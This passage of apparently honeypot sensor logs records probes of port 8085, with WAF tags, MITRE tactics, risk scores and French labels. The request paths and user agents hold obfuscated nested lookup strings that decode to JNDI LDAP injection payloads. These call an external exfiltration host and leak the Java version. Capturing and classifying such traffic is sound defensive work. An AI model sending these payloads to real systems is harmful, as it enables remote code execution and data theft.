\u0022request_sample\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${mtw:-:}${md:0sq:qgo:-\/}${f:p7:-\/}${s:tha:-P}${wnt:faim:-A}${jws7:jhl:ymj:-l}${1:-0}${i:u:-c}${a:--}${${lqx7:fw:-s}${72r:i9:-y}${w\u0022, \u0022payload_snippet\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m\u0022, \u0022evidence\u0022: {\u0022request_sample\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${mtw:-:}${md:0sq:qgo:-\/}${f:p7:-\/}${s:tha:-P}${wnt:faim:-A}${jws7:jhl:ymj:-l}${1:-0}${i:u:-c}${a:--}${${lqx7:fw:-s}${72r:i9:-y}${w\u0022, \u0022payload_snippet\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre\u0022: \u0022TA0001\u0022, \u0022threat_family\u0022: [\u0022rce_probe\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00229a6d8f11af2a708a003b38d307f74dfaf215e43e\u0022, \u0022protocol_details\u0022: {\u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http-alt-8085\u0022, \u0022service_label_fr\u0022: \u0022HTTP ALT 8085\u0022}, \u0022evidence_snippet\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m\u0022, \u0022attack_vector\u0022: \u0022php injection \u00b7 via HTTP ALT 8085:8085 \u00b7 (tentative d\u0027exploit)\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP ALT 8085\u0022, \u0022emulator_service\u0022: \u0022http-alt-8085\u0022, \u0022confidence_reason\u0022: \u0022Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab php_injection \u00bb (signaux protocolaires) \u00b7 confiance 97%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP ALT 8085 \u2014 multi-protocole (3 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 84.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 52, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 52, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http-alt-8085\u0022, \u0022service_label_fr\u0022: \u0022HTTP ALT 8085\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0001\u0022, \u0022mitre_technique\u0022: \u0022TA0001\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http-alt-8085\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http-alt-8085\u0022, \u0022service_label_fr\u0022: \u0022HTTP ALT 8085\u0022}, \u0022attack_vector\u0022: \u0022php injection \u00b7 via HTTP ALT 8085:8085 \u00b7 (tentative d\u0027exploit)\u0022, \u0022evidence_snippet\u0022: \u0022ZSDLKFJ2 \/${${p8:-j}${mua:-n}${juan:9:a:-d}${bgy:9q8k:dlc:-i}${j3:-:}${85ak:o6:-l}${b2f:o0:vpm:-d}${rp:6c:-a}${4zf:msdr:i:-p}${m\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP ALT 8085\u0022, \u0022emulator_service\u0022: \u0022http-alt-8085\u0022, \u0022confidence_reason\u0022: \u0022Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http_alt_8085\u0022, \u0022service_banner\u0022: \u0022honeypot-http-alt-8085\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228085\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 3, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022, \u0022http-alt-8085\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":null,"http_host":null,"http_user_agent":null,"http_referer":null,"tags":"[]","anomalies":"[]","severity":0,"bytes_in":4096},{"id":14680265,"ip":"34.19.116.51","ts":"2026-07-31 15:35:43.000000","proto":"tcp","src_port":37043,"dst_port":8085,"service":"http","classification":"port_8085_tcp","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-c}${tg9n:3:-7}${kui:0d:-c}${yzs:w:7rj:-3}${jfc:hvn:-7}${4qu3:-d}${nm:r:8ky:-3}${3u:c:kcl:-3}${7:-2}${p20:-1}${1p:-2}${c5:k:fei:-e}${t:v4h1:q:-d}${x:sihr:48p5:-e}${3n0o:t:ct:-6}${3c:-d}${rnjw:sv:n04a:-6}${zd3:7n51:8:-0}${p1j:ydm7:6:-0}${4:i:-4}${ekbu:-e}${nvh:24:zro:-a}${k:87:-7}${0lbi:7cb:-3}${2:a89d:-8}${c3i:q:-1}${e:-5}${kbt:k:a8h:-3}${fl:-3}${j9:gky:-8}${gda:rlz:-f}${45eh:-d}${q:ytv:-9}${wfvn:-0}${k:d458:0q:-e}${wutk:72pk:p:-2}${kihl:-a}${1u:o:72o:-.}${9ju:p4dg:-d}${s0:q:-n}${gu:54:-s}${bcj:ch:7xks:--}${2:d:-e}${e:a9:-x}${b:-f}${q:-i}${w1p:jf:-l}${07q:-.}${ih1a:-m}${h1:-a}${5c:n0d:1:-s}${8jh2:i4yo:-m}${yien:-c}${16sm:4r:r:-o}${zc6:s7x:-r}${h96:-e}${7q:1:1jb:--}${i0c:m1ow:-c}${qb6:ab3h:-f}${ilp3:--}${29:wz0:cx:-p}${6be:-r}${21sd:p6o:zurq:-o}${3:h:-d}${10xr:eo3:--}${m4:1ed:6:-0}${h:8k:k6:-2}${hk6:1:x5z:-.}${hz2:-m}${dc4:n:s:-a}${nq8a:-s}${6gt:4dg:-m}${jwqd:pia:-.}${m3f:vz02:s9:-c}${imuq:-l}${eakm:-o}${odn:j6xu:7wha:-u}${c4:jnz8:-d}${56:dw:-f}${95d0:qu:578u:-e}${g:djr:93:-r}${l:j1h:b1x:-r}${7:p:f5p:-y}${1:-.}${4:da:-g}${f:bn4:-o}${fba0:-o}${6pq:4q:knrp:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 4, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${4:da:-g}${f:bn4:-o}${fba0:-o}${6pq:4q:knrp:-g}}\u0022, \u0022http_ua_hash\u0022: \u0022b232b745cb801415083ea9b029ff6a28c0421eb9\u0022, \u0022http_host_hash\u0022: \u00228307e910dac7083f4f0d52abcc8375f89d55b254\u0022, \u0022http_target_hash\u0022: \u0022021522046d4740a75ebfe67db2bd6ea269d00035\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.798691581271261, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8085, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 60.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 6.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 61, \u0022tag_count\u0022: 6, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022adc9835de445b982ed5ca0c6066289ab52928378\u0022, \u0022event_fingerprint\u0022: \u00226a95fac266a00e7a99c6a1c1f7674002d3c90256\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.68, \u0022classification_confidence\u0022: 0.68, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 61, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u0022053a5c1fc076d9d17e4d9f4e413b0adc\u0022, \u0022payload_hash\u0022: \u0022ffca633783ff8fd3e512ffeede0cb4e7\u0022, \u0022path_pattern_hash\u0022: \u00220bbc32a8954be72c7c3818c61f9a4b0c\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 61}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-c}${\u0022, \u0022user_agent\u0022: \u0022${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t:7o:-\/}${96e:-U}${g:4:j4:-A}${m:zfh:e:-l}${xap4:30a:9:-0}${v4bf:vh:684u:-c}${skfe:xv:--}${${o:-s}${mbq5:tx:-y}${gz:eq:-s}${nej0:uwqx:-:}\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-c}${\u0022, \u0022user_agent\u0022: \u0022${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t:7o:-\/}${96e:-U}${g:4:j4:-A}${m:zfh:e:-l}${xap4:30a:9:-0}${v4bf:vh:684u:-c}${skfe:xv:--}${${o:-s}${mbq5:tx:-y}${gz:eq:-s}${nej0:uwqx:-:}\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l:-s}${p:a92:e:-:}${gcmx:-j}${85o:h:-a}${no:-v}${ui:412:ceg8:-a}${fo0:3qne:179d:-.}${t:4:-v}${d1m2:vr6e:1h9:-e}${9:1v:-r}${579j:t7:-s}${rq:v0:-i}${xvnk:6t1:-o}${l:te4x:dt9p:-n}}${xu:-.}${8r:2jeg:-e}${9:-7}${dljk:0dzt:djt:-d}${9jlb:-b}${7k:-8}${iba:znam:m8:-\u0022, \u0022request_sample\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${p1u:gurs:g:-c}${2:--}${${30z:-s}${7jz4:u:y:-y}${pfs:ilm:l\u0022, \u0022payload_snippet\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00223ac5cdec8fc4148df91daf43039d5788d88a9bd3\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}\u0022, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i\u2026\u0022, \u0022target_port_label\u0022: \u00228085 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 68, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 61, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 61, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8085, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p\u2026\u0022, \u0022request_line\u0022: \u0022GET \/${${vsn4:lx:-j}${r21:-n}${n:-d}${8l:wik:l58:-i}${gx7w:i6c4:yx:-:}${s:5:-l}${sa8u:wlr7:-d}${qzx:-a}${7:jgqc:-p}${5nt:o7s:-:}${l:-\/}${3:-\/}${y:zpv3:4t7:-P}${o1p:n:-A}${hfog:1fgv:2y7u:-l}${r4:-0}${\u2026\u0022, \u0022http_user_agent\u0022: \u0022${${drb:-j}${1ze:-n}${4b3:-d}${c:jvy:-i}${k:-:}${u2m7:4:-l}${0r:62e:6uwj:-d}${1jgx:i:-a}${djx5:-p}${p:-:}${jqo:2:-\/}${t\u2026\u0022, \u0022port\u0022: 8085, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8085 tcp \u00b7 via HTTP:8085 